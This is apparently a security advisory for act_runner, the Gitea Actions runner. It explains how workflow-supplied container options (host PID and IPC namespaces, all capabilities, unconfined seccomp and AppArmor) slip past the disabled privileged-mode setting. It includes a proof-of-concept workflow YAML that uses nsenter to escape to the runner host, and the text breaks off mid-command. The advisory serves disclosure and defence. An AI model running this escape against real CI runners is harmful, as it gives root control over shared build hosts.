Affected: Go: gitea.com/gitea/runner

### Summary act_runner appends workflow-controlled `jobs.<job>.container.options` directly to the Docker HostConfig for the job container. When runner privileged mode is disabled, only `Privileged` is forced false. Host namespace flags, capability expansion, and security profile overrides from workflow YAML are preserved in the final HostConfig. A workflow author can enter host PID/IPC namespaces and execute commands on the runner host as root.

### Details Source-to-sink path in act_runner:

- `ContainerSpec.Options` accepts workflow YAML `container.options` - `RunContext.options()` appends workflow options to runner-level container options - Job container is created with `Privileged: rc.Config.Privileged` but also with `Options: rc.options(ctx)` - `mergeContainerConfigs()` parses Docker CLI-style options into HostConfig - When privileged mode is disabled, only `copts.privileged` is forced false - `sanitizeConfig()` only filters `Binds` and `Mounts` - Preserved dangerous HostConfig fields:

```text Privileged=false PidMode=host IpcMode=host CapAdd=["ALL"] SecurityOpt=["seccomp=unconfined","apparmor=unconfined"] ```

Attacker workflow YAML: ```yaml jobs: breakout: runs-on: ubuntu-latest container: image: ubuntu:22.04 options: >- --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined steps: - name: host namespace marker run: | nsenter -t 1 -m -…